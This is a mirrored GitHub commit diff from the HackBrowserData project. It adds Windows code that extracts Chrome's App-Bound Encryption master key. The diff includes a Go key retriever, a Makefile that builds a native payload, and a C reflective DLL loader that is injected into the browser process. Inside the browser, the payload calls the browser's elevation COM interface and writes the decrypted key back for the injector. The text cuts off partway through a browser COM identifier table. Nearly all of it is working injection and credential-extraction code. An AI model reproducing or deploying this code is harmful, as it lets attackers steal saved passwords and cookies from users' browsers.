mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-21 19:06:47 +02:00
feat(windows): Chrome App-Bound Encryption implementation (#573)
* build(abe): add zig-cc payload build system + C reflective loader * feat(abe): add reflective injector and Go ABE key-retriever primitives * feat(abe): wire ABERetriever into DefaultRetriever chain + --abe-key CLI * feat(abe): route Chromium v20 ciphertext through AES-GCM with ABE key
This commit is contained in:
@@ -0,0 +1,25 @@
|
||||
//go:build windows && abe_embed
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
//go:generate make -C ../.. payload
|
||||
|
||||
//go:embed abe_extractor_amd64.bin
|
||||
var abePayloadAmd64 []byte
|
||||
|
||||
func getPayloadForArch(arch string) ([]byte, error) {
|
||||
switch arch {
|
||||
case "amd64":
|
||||
if len(abePayloadAmd64) == 0 {
|
||||
return nil, fmt.Errorf("abe: amd64 payload is empty (build system bug)")
|
||||
}
|
||||
return abePayloadAmd64, nil
|
||||
default:
|
||||
return nil, fmt.Errorf("abe: arch %q not supported in this build", arch)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package crypto
|
||||
|
||||
func SetABEMasterKeyFromHex(_ string) error { return nil }
|
||||
|
||||
func GetABEMasterKey() []byte { return nil }
|
||||
@@ -0,0 +1,12 @@
|
||||
//go:build windows && !abe_embed
|
||||
|
||||
package crypto
|
||||
|
||||
import "fmt"
|
||||
|
||||
func getPayloadForArch(arch string) ([]byte, error) {
|
||||
return nil, fmt.Errorf(
|
||||
"abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)",
|
||||
arch,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
//go:build windows
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
abeCLIKeyMu sync.RWMutex
|
||||
abeCLIKey []byte
|
||||
)
|
||||
|
||||
func SetABEMasterKeyFromHex(hexKey string) error {
|
||||
if hexKey == "" {
|
||||
return fmt.Errorf("abe: empty hex key")
|
||||
}
|
||||
b, err := hex.DecodeString(hexKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("abe: decode hex key: %w", err)
|
||||
}
|
||||
if len(b) != 32 {
|
||||
return fmt.Errorf("abe: key must be 32 bytes (got %d)", len(b))
|
||||
}
|
||||
abeCLIKeyMu.Lock()
|
||||
abeCLIKey = b
|
||||
abeCLIKeyMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func GetABEMasterKey() []byte {
|
||||
abeCLIKeyMu.RLock()
|
||||
defer abeCLIKeyMu.RUnlock()
|
||||
if len(abeCLIKey) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]byte, len(abeCLIKey))
|
||||
copy(out, abeCLIKey)
|
||||
return out
|
||||
}
|
||||
|
||||
func ABEPayload(arch string) ([]byte, error) {
|
||||
return getPayloadForArch(arch)
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
//go:build windows
|
||||
|
||||
package keyretriever
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/browserutil"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/injector"
|
||||
)
|
||||
|
||||
const envEncKeyB64 = "HBD_ABE_ENC_B64"
|
||||
|
||||
var appbPrefix = []byte{'A', 'P', 'P', 'B'}
|
||||
|
||||
var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key")
|
||||
|
||||
type ABERetriever struct{}
|
||||
|
||||
func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
|
||||
browserKey := strings.TrimSpace(storage)
|
||||
if browserKey == "" {
|
||||
return nil, fmt.Errorf("abe: empty browser key in storage parameter")
|
||||
}
|
||||
|
||||
encKey, err := loadEncryptedKey(localStatePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if cliKey := crypto.GetABEMasterKey(); len(cliKey) > 0 {
|
||||
log.Debugf("abe: using --abe-key for %s", browserKey)
|
||||
return cliKey, nil
|
||||
}
|
||||
|
||||
payload, err := crypto.ABEPayload("amd64")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: %w", err)
|
||||
}
|
||||
|
||||
exePath, err := browserutil.ExecutablePath(browserKey)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: %w", err)
|
||||
}
|
||||
|
||||
env := map[string]string{
|
||||
envEncKeyB64: base64.StdEncoding.EncodeToString(encKey),
|
||||
}
|
||||
|
||||
inj := &injector.Reflective{}
|
||||
key, err := inj.Inject(exePath, payload, env)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err)
|
||||
}
|
||||
if len(key) != 32 {
|
||||
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
|
||||
}
|
||||
log.Debugf("abe: retrieved %s master key via reflective injection", browserKey)
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func loadEncryptedKey(localStatePath string) ([]byte, error) {
|
||||
if localStatePath == "" {
|
||||
return nil, errNoABEKey
|
||||
}
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: read Local State: %w", err)
|
||||
}
|
||||
|
||||
raw := gjson.GetBytes(data, "os_crypt.app_bound_encrypted_key")
|
||||
if !raw.Exists() {
|
||||
return nil, errNoABEKey
|
||||
}
|
||||
|
||||
decoded, err := base64.StdEncoding.DecodeString(raw.String())
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: base64 decode: %w", err)
|
||||
}
|
||||
if len(decoded) <= len(appbPrefix) {
|
||||
return nil, fmt.Errorf("abe: encrypted key too short: %d bytes", len(decoded))
|
||||
}
|
||||
for i, b := range appbPrefix {
|
||||
if decoded[i] != b {
|
||||
return nil, fmt.Errorf("abe: unexpected prefix: got %q, want %q",
|
||||
decoded[:len(appbPrefix)], appbPrefix)
|
||||
}
|
||||
}
|
||||
return decoded[len(appbPrefix):], nil
|
||||
}
|
||||
@@ -48,7 +48,6 @@ func (r *DPAPIRetriever) RetrieveKey(_, localStatePath string) ([]byte, error) {
|
||||
return masterKey, nil
|
||||
}
|
||||
|
||||
// DefaultRetriever returns the Windows retriever (DPAPI only).
|
||||
func DefaultRetriever() KeyRetriever {
|
||||
return &DPAPIRetriever{}
|
||||
return NewChain(&ABERetriever{}, &DPAPIRetriever{})
|
||||
}
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
ZIG ?= zig
|
||||
ABE_ARCH ?= amd64
|
||||
ABE_TARGET ?= x86_64-windows-gnu
|
||||
|
||||
ABE_SRC_DIR = crypto/windows/abe_native
|
||||
ABE_BIN_DIR = crypto
|
||||
ABE_BIN = $(ABE_BIN_DIR)/abe_extractor_$(ABE_ARCH).bin
|
||||
|
||||
ABE_CFLAGS = -shared -s -O2 \
|
||||
-fno-stack-protector -fno-builtin \
|
||||
-I$(ABE_SRC_DIR)
|
||||
ABE_LDFLAGS = -Wl,--subsystem,windows
|
||||
ABE_LDLIBS = -lole32 -loleaut32 -lcrypt32
|
||||
|
||||
ABE_C_SRCS = $(ABE_SRC_DIR)/abe_extractor.c \
|
||||
$(ABE_SRC_DIR)/com_iid.c \
|
||||
$(ABE_SRC_DIR)/bootstrap.c
|
||||
|
||||
ABE_HDRS = $(ABE_SRC_DIR)/com_iid.h \
|
||||
$(ABE_SRC_DIR)/bootstrap.h
|
||||
|
||||
$(ABE_BIN): $(ABE_C_SRCS) $(ABE_HDRS)
|
||||
@mkdir -p $(ABE_BIN_DIR)
|
||||
$(ZIG) cc -target $(ABE_TARGET) $(ABE_CFLAGS) $(ABE_LDFLAGS) \
|
||||
$(ABE_C_SRCS) -o $@ $(ABE_LDLIBS)
|
||||
@printf "built %s (%s bytes)\n" "$@" "$$(wc -c < $@ | tr -d ' ')"
|
||||
|
||||
.PHONY: payload payload-verify payload-clean
|
||||
|
||||
payload: $(ABE_BIN)
|
||||
|
||||
payload-verify: $(ABE_BIN)
|
||||
@if strings -a "$(ABE_BIN)" | grep -qx "Bootstrap"; then \
|
||||
echo "OK: Bootstrap export name present"; \
|
||||
else \
|
||||
echo "FAIL: Bootstrap not found in $(ABE_BIN)"; \
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
payload-clean:
|
||||
rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin
|
||||
@@ -0,0 +1,174 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <objbase.h>
|
||||
#include <oaidl.h>
|
||||
#include <wincrypt.h>
|
||||
|
||||
#include "bootstrap.h"
|
||||
#include "com_iid.h"
|
||||
|
||||
#define ENV_ENC_B64 "HBD_ABE_ENC_B64"
|
||||
#define ENV_ENC_MAX 8192
|
||||
|
||||
static void DoExtractKey(BYTE *imageBase);
|
||||
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize);
|
||||
static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len);
|
||||
static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex,
|
||||
const BSTR bstrEnc, BSTR *pOut, DWORD *pErr);
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
if (dwReason == DLL_PROCESS_ATTACH) {
|
||||
DisableThreadLibraryCalls(hInstance);
|
||||
if (lpReserved != NULL) {
|
||||
DoExtractKey((BYTE *)lpReserved);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static void DoExtractKey(BYTE *imageBase)
|
||||
{
|
||||
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL weInited = SUCCEEDED(hr);
|
||||
|
||||
char exeBasename[MAX_PATH];
|
||||
if (!GetOwnExeBasename(exeBasename, (DWORD)sizeof(exeBasename))) {
|
||||
goto cleanup_com;
|
||||
}
|
||||
|
||||
const BrowserComIds *ids = LookupBrowserByExe(exeBasename);
|
||||
if (!ids) {
|
||||
goto cleanup_com;
|
||||
}
|
||||
|
||||
char envEnc[ENV_ENC_MAX];
|
||||
DWORD envEncLen = GetEnvironmentVariableA(ENV_ENC_B64, envEnc, ENV_ENC_MAX);
|
||||
if (envEncLen == 0 || envEncLen >= ENV_ENC_MAX) {
|
||||
goto cleanup_com;
|
||||
}
|
||||
|
||||
BYTE encKey[ENV_ENC_MAX];
|
||||
DWORD encKeyLen = ENV_ENC_MAX;
|
||||
if (!Base64DecodeStack(envEnc, encKey, &encKeyLen) || encKeyLen == 0) {
|
||||
goto cleanup_com;
|
||||
}
|
||||
|
||||
BSTR bstrEnc = SysAllocStringByteLen((LPCSTR)encKey, encKeyLen);
|
||||
SecureZeroMemory(encKey, ENV_ENC_MAX);
|
||||
SecureZeroMemory(envEnc, ENV_ENC_MAX);
|
||||
if (!bstrEnc) {
|
||||
goto cleanup_com;
|
||||
}
|
||||
|
||||
// IElevator2 is Chrome 144+; older vendors only implement v1.
|
||||
IUnknown *pObj = NULL;
|
||||
if (ids->has_iid_v2) {
|
||||
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
|
||||
&ids->iid_v2, (void **)&pObj);
|
||||
if (FAILED(hr)) {
|
||||
pObj = NULL;
|
||||
}
|
||||
}
|
||||
if (!pObj) {
|
||||
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
|
||||
&ids->iid_v1, (void **)&pObj);
|
||||
if (FAILED(hr)) {
|
||||
pObj = NULL;
|
||||
}
|
||||
}
|
||||
if (!pObj) {
|
||||
goto free_enc;
|
||||
}
|
||||
|
||||
CoSetProxyBlanket(pObj,
|
||||
RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||
COLE_DEFAULT_PRINCIPAL,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_IMP_LEVEL_IMPERSONATE,
|
||||
NULL, EOAC_DYNAMIC_CLOAKING);
|
||||
|
||||
BSTR bstrPlain = NULL;
|
||||
DWORD comErr = 0;
|
||||
hr = CallDecryptDataBySlot(pObj, DecryptDataVtblIndex(ids->kind),
|
||||
bstrEnc, &bstrPlain, &comErr);
|
||||
pObj->lpVtbl->Release(pObj);
|
||||
|
||||
if (SUCCEEDED(hr) && bstrPlain) {
|
||||
UINT plainLen = SysStringByteLen(bstrPlain);
|
||||
if (plainLen == BOOTSTRAP_KEY_LEN) {
|
||||
// Write key before status; Go reads key only after status==READY.
|
||||
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
|
||||
imageBase[BOOTSTRAP_KEY_OFFSET + i] = ((BYTE *)bstrPlain)[i];
|
||||
}
|
||||
MemoryBarrier();
|
||||
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
|
||||
}
|
||||
SecureZeroMemory(bstrPlain, plainLen);
|
||||
SysFreeString(bstrPlain);
|
||||
}
|
||||
|
||||
free_enc:
|
||||
SysFreeString(bstrEnc);
|
||||
|
||||
cleanup_com:
|
||||
if (weInited) {
|
||||
CoUninitialize();
|
||||
}
|
||||
}
|
||||
|
||||
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize)
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
DWORD n = GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||
if (n == 0 || n >= MAX_PATH) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
const char *base = path;
|
||||
for (DWORD i = 0; i < n; ++i) {
|
||||
if (path[i] == '\\' || path[i] == '/') {
|
||||
base = path + i + 1;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD j = 0;
|
||||
while (*base && j + 1 < bufsize) {
|
||||
char c = *base++;
|
||||
if (c >= 'A' && c <= 'Z') {
|
||||
c = (char)(c - 'A' + 'a');
|
||||
}
|
||||
buf[j++] = c;
|
||||
}
|
||||
buf[j] = '\0';
|
||||
return j > 0;
|
||||
}
|
||||
|
||||
static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len)
|
||||
{
|
||||
DWORD flags = 0;
|
||||
DWORD skip = 0;
|
||||
return CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64,
|
||||
out_buf, out_len, &skip, &flags);
|
||||
}
|
||||
|
||||
// Slot-based vtable dispatch lets us avoid declaring each vendor's full
|
||||
// C++ interface in C. Slots (5/8/13) are set per-vendor in com_iid.c.
|
||||
static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex,
|
||||
const BSTR bstrEnc, BSTR *pOut, DWORD *pErr)
|
||||
{
|
||||
typedef HRESULT(STDMETHODCALLTYPE *DecryptDataFn)(
|
||||
void *This, const BSTR, BSTR *, DWORD *);
|
||||
|
||||
if (!pObj || vtblIndex == 0) {
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
void **vtbl = (void **)pObj->lpVtbl;
|
||||
DecryptDataFn fn = (DecryptDataFn)vtbl[vtblIndex];
|
||||
if (!fn) {
|
||||
return E_POINTER;
|
||||
}
|
||||
return fn(pObj, bstrEnc, pOut, pErr);
|
||||
}
|
||||
@@ -0,0 +1,191 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "bootstrap.h"
|
||||
|
||||
typedef HMODULE (WINAPI *pfn_LoadLibraryA)(LPCSTR);
|
||||
typedef FARPROC (WINAPI *pfn_GetProcAddress)(HMODULE, LPCSTR);
|
||||
typedef LPVOID (WINAPI *pfn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef BOOL (WINAPI *pfn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef LONG (NTAPI *pfn_NtFlushInstructionCache)(HANDLE, PVOID, ULONG);
|
||||
typedef BOOL (WINAPI *pfn_DllMain)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define MARK(imgBase, step) do { \
|
||||
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
|
||||
} while (0)
|
||||
|
||||
// noinline is load-bearing: if this gets inlined into Bootstrap,
|
||||
// __builtin_return_address(0) returns the thread stub (ntdll) instead
|
||||
// of an address inside our payload — the backward MZ scan would then
|
||||
// walk the wrong module and crash.
|
||||
static __attribute__((noinline)) ULONG_PTR get_caller_ip(void)
|
||||
{
|
||||
return (ULONG_PTR)__builtin_return_address(0);
|
||||
}
|
||||
|
||||
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
{
|
||||
ULONG_PTR imageBase = get_caller_ip();
|
||||
while (imageBase > 0) {
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)imageBase;
|
||||
if (dos->e_magic == IMAGE_DOS_SIGNATURE) {
|
||||
LONG lfanew = dos->e_lfanew;
|
||||
if (lfanew > 0 && lfanew < 0x1000) {
|
||||
PIMAGE_NT_HEADERS64 nt =
|
||||
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)lfanew);
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE) break;
|
||||
}
|
||||
}
|
||||
imageBase--;
|
||||
}
|
||||
if (imageBase == 0) return 0;
|
||||
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
|
||||
pfn_LoadLibraryA pLoadLibraryA =
|
||||
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
|
||||
pfn_GetProcAddress pGetProcAddress =
|
||||
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
|
||||
pfn_VirtualAlloc pVirtualAlloc =
|
||||
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
|
||||
pfn_VirtualProtect pVirtualProtect =
|
||||
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
|
||||
pfn_NtFlushInstructionCache pNtFlushIC =
|
||||
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
|
||||
|
||||
if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc ||
|
||||
!pVirtualProtect || !pNtFlushIC) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
|
||||
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)imageBase;
|
||||
PIMAGE_NT_HEADERS64 oldNt =
|
||||
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
SIZE_T sizeOfImage = oldNt->OptionalHeader.SizeOfImage;
|
||||
|
||||
BYTE *newBase = (BYTE *)pVirtualAlloc(
|
||||
NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!newBase) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
|
||||
BYTE *headerSrc = (BYTE *)imageBase;
|
||||
DWORD headerSize = oldNt->OptionalHeader.SizeOfHeaders;
|
||||
for (DWORD i = 0; i < headerSize; i++) {
|
||||
newBase[i] = headerSrc[i];
|
||||
}
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(oldNt);
|
||||
for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) {
|
||||
BYTE *sSrc = (BYTE *)imageBase + sec[i].PointerToRawData;
|
||||
BYTE *sDst = newBase + sec[i].VirtualAddress;
|
||||
DWORD raw = sec[i].SizeOfRawData;
|
||||
for (DWORD j = 0; j < raw; j++) {
|
||||
sDst[j] = sSrc[j];
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
|
||||
|
||||
PIMAGE_NT_HEADERS64 newNt =
|
||||
(PIMAGE_NT_HEADERS64)(newBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
|
||||
LONG_PTR delta = (LONG_PTR)newBase - (LONG_PTR)newNt->OptionalHeader.ImageBase;
|
||||
DWORD relocSize = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
DWORD relocRva = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
if (delta != 0 && relocSize > 0 && relocRva > 0) {
|
||||
PIMAGE_BASE_RELOCATION reloc =
|
||||
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
|
||||
DWORD consumed = 0;
|
||||
while (reloc->VirtualAddress && consumed < relocSize) {
|
||||
DWORD count =
|
||||
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD *entries =
|
||||
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD j = 0; j < count; j++) {
|
||||
WORD type = entries[j] >> 12;
|
||||
WORD offset = entries[j] & 0x0FFF;
|
||||
if (type == IMAGE_REL_BASED_DIR64) {
|
||||
ULONG_PTR *target = (ULONG_PTR *)(newBase +
|
||||
reloc->VirtualAddress + offset);
|
||||
*target += (ULONG_PTR)delta;
|
||||
}
|
||||
}
|
||||
consumed += reloc->SizeOfBlock;
|
||||
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
|
||||
DWORD impSize = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
||||
DWORD impRva = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
if (impSize > 0 && impRva > 0) {
|
||||
PIMAGE_IMPORT_DESCRIPTOR imp =
|
||||
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
|
||||
while (imp->Name) {
|
||||
const char *modName = (const char *)(newBase + imp->Name);
|
||||
HMODULE hMod = pLoadLibraryA(modName);
|
||||
if (hMod) {
|
||||
DWORD origRva = imp->OriginalFirstThunk
|
||||
? imp->OriginalFirstThunk : imp->FirstThunk;
|
||||
PIMAGE_THUNK_DATA origThunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + origRva);
|
||||
PIMAGE_THUNK_DATA thunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + imp->FirstThunk);
|
||||
while (origThunk->u1.AddressOfData) {
|
||||
FARPROC fn;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
|
||||
fn = pGetProcAddress(hMod,
|
||||
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
|
||||
(newBase + origThunk->u1.AddressOfData);
|
||||
fn = pGetProcAddress(hMod, ibn->Name);
|
||||
}
|
||||
thunk->u1.Function = (ULONG_PTR)fn;
|
||||
origThunk++;
|
||||
thunk++;
|
||||
}
|
||||
}
|
||||
imp++;
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
|
||||
sec = IMAGE_FIRST_SECTION(newNt);
|
||||
for (WORD i = 0; i < newNt->FileHeader.NumberOfSections; i++) {
|
||||
DWORD newProtect = PAGE_READONLY;
|
||||
DWORD ch = sec[i].Characteristics;
|
||||
if (ch & IMAGE_SCN_MEM_EXECUTE) {
|
||||
newProtect = (ch & IMAGE_SCN_MEM_WRITE)
|
||||
? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
|
||||
} else if (ch & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
DWORD oldProtect = 0;
|
||||
pVirtualProtect(newBase + sec[i].VirtualAddress,
|
||||
sec[i].Misc.VirtualSize,
|
||||
newProtect, &oldProtect);
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
|
||||
pNtFlushIC((HANDLE)-1, NULL, 0);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
|
||||
// lpReserved carries the original raw-image base so DllMain can write
|
||||
// the decrypted key back into the scratch region the Go injector reads.
|
||||
pfn_DllMain pDllMain =
|
||||
(pfn_DllMain)(newBase + newNt->OptionalHeader.AddressOfEntryPoint);
|
||||
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)imageBase);
|
||||
|
||||
MARK(imageBase, BOOTSTRAP_MARK_DONE);
|
||||
return (ULONG_PTR)newBase;
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#ifndef HBD_ABE_BOOTSTRAP_H
|
||||
#define HBD_ABE_BOOTSTRAP_H
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// Scratch layout inside imageBase (the raw-file payload region in the
|
||||
// target process). Shared contract with the Go injector — keep the
|
||||
// offsets and meanings in sync with utils/injector/reflective_windows.go.
|
||||
//
|
||||
// 0x28 step marker (written by Bootstrap)
|
||||
// 0x29 key status (0x01 = ready, written by DllMain)
|
||||
// 0x40..0x67 pre-Bootstrap: 5 pre-resolved Win32 fn pointers
|
||||
// post-DllMain : 32-byte master key at 0x40..0x5F
|
||||
//
|
||||
// Windows' PE loader ignores the DOS stub region (0x40..0x77), and
|
||||
// Bootstrap only reads the imports once at function start, so DllMain
|
||||
// can safely overwrite 0x40..0x5F with the key afterwards.
|
||||
|
||||
#define BOOTSTRAP_MARKER_OFFSET 0x28
|
||||
|
||||
#define BOOTSTRAP_KEY_STATUS_OFFSET 0x29
|
||||
#define BOOTSTRAP_KEY_STATUS_READY 0x01
|
||||
|
||||
#define BOOTSTRAP_KEY_OFFSET 0x40
|
||||
#define BOOTSTRAP_KEY_LEN 32
|
||||
|
||||
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET 0x40
|
||||
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET 0x48
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET 0x50
|
||||
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET 0x58
|
||||
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET 0x60
|
||||
|
||||
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
|
||||
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
|
||||
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
|
||||
#define BOOTSTRAP_MARK_COPIED 0x07
|
||||
#define BOOTSTRAP_MARK_RELOCATED 0x08
|
||||
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
|
||||
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
|
||||
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
|
||||
#define BOOTSTRAP_MARK_DONE 0xFF
|
||||
|
||||
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
|
||||
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // HBD_ABE_BOOTSTRAP_H
|
||||
@@ -0,0 +1,121 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
#include "com_iid.h"
|
||||
|
||||
// CLSID / IID values migrated from HackBrowserData-injector-old's
|
||||
// browser_config.hpp and cross-checked against each vendor's Chromium
|
||||
// fork. Keep the per-entry comments with the GUID source so future
|
||||
// rotations can be traced.
|
||||
static const BrowserComIds kBrowsers[] = {
|
||||
// Chrome Stable
|
||||
// CLSID: {708860E0-F641-4611-8895-7D867DD3675B}
|
||||
// v1 IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8} IElevatorChrome
|
||||
// v2 IID: {1BF5208B-295F-4992-B5F4-3A9BB6494838} IElevator2Chrome
|
||||
{
|
||||
"chrome.exe", BROWSER_CHROME_BASE,
|
||||
{ 0x708860E0, 0xF641, 0x4611, { 0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B } },
|
||||
{ 0x463ABECF, 0x410D, 0x407F, { 0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8 } },
|
||||
TRUE,
|
